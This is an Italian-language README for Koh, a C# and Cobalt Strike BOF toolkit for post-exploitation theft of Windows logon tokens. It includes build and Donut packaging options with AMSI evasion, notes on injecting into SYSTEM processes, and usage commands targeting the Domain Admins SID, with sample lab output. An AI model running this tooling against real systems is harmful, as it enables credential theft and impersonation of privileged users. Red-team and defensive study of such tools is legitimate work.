
Cattura token di sessione di accesso di Windows tramite perdita di token per consentire il riutilizzo delle credenziali e l'impersonificazione, con integrazione Cobalt Strike BOF per il furto di token post-sfruttamento.
Koh è un set di strumenti in C# e Beacon Object File (BOF) che permette la cattura di materiali di credenziali utente tramite una deliberata perdita di token/sessioni di accesso.
Parte del codice è stata ispirata dal progetto Internal-Monologue (senza licenza) di Elad Shamir, oltre che da KB180548. Per capire perché ciò è possibile e l'approccio di Koh, vedere la sezione Background Tecnico di questo README.
Per una spiegazione più approfondita della motivazione dietro Koh e del suo approccio, vedere il post Koh: The Token Stealer.
@harmj0y è l'autore principale di questo codice. @tifkin_ ha contribuito all'approccio, all'implementazione BOF e ad alcuni meccanismi relativi ai token.
Koh è concesso in licenza sotto la licenza BSD 3-Clause.
Il "server" di Koh cattura i token e utilizza named pipe per il controllo/la comunicazione. Può essere impacchettato in Donut e iniettato in qualsiasi processo ad alta integrità SYSTEM (vedere The Inline Shenanigans Bug).
Non abbiamo intenzione di rilasciare binari per Koh, quindi dovrai compilarlo da solo :)
Koh è stato compilato per .NET 4.7.2 ed è compatibile con Visual Studio 2019 Community Edition. Basta aprire il file .sln del progetto, scegliere "Release" e compilare. L'assembly Koh.exe e il PIC Koh.bin costruito con Donut verranno generati nella directory principale. Il blob Donut è compatibile sia con x86 che con x64 ed è compilato con le seguenti opzioni utilizzando la versione 0.9.3 di Donut in ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
La licenza di Donut è BSD 3-clause.
### Utilizzo
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - elenca le sessioni di accesso (non di rete)
* **monitor** - monitora le sessioni di accesso nuove/univoche (non di rete)
* **capture** - acquisisce un token univoco per ogni SID trovato per le nuove sessioni di accesso (non di rete)
I Group SID possono essere forniti anche tramite riga di comando, in modo che Koh monitori/acquisisca solo le sessioni di accesso che contengono i Group SID specificati nelle informazioni del token negoziato.
### Esempio - Elenco delle sessioni di accesso```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Elenca solo i risultati che hanno il SID del gruppo domain admins (-512) nelle loro informazioni sul token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
Il client attualmente utilizzabile è un Beacon Object File in `.\Clients\BOF\`. Carica lo script aggressore `.\Clients\BOF\KohClient.cna` nel tuo client Cobalt Strike per abilitare il controllo BOF del server Koh. L'unico requisito per utilizzare i token catturati è **SeImpersonatePrivilege**. La named pipe di comunicazione ha un DACL "Everyone" ma utilizza una password condivisa di base (super sicura).
Per compilare da zero su Linux usando Mingw, consulta lo script `.\Clients\BOF\build.sh`. L'unico requisito (almeno su Debian) dovrebbe essere `apt-get install gcc-mingw-w64`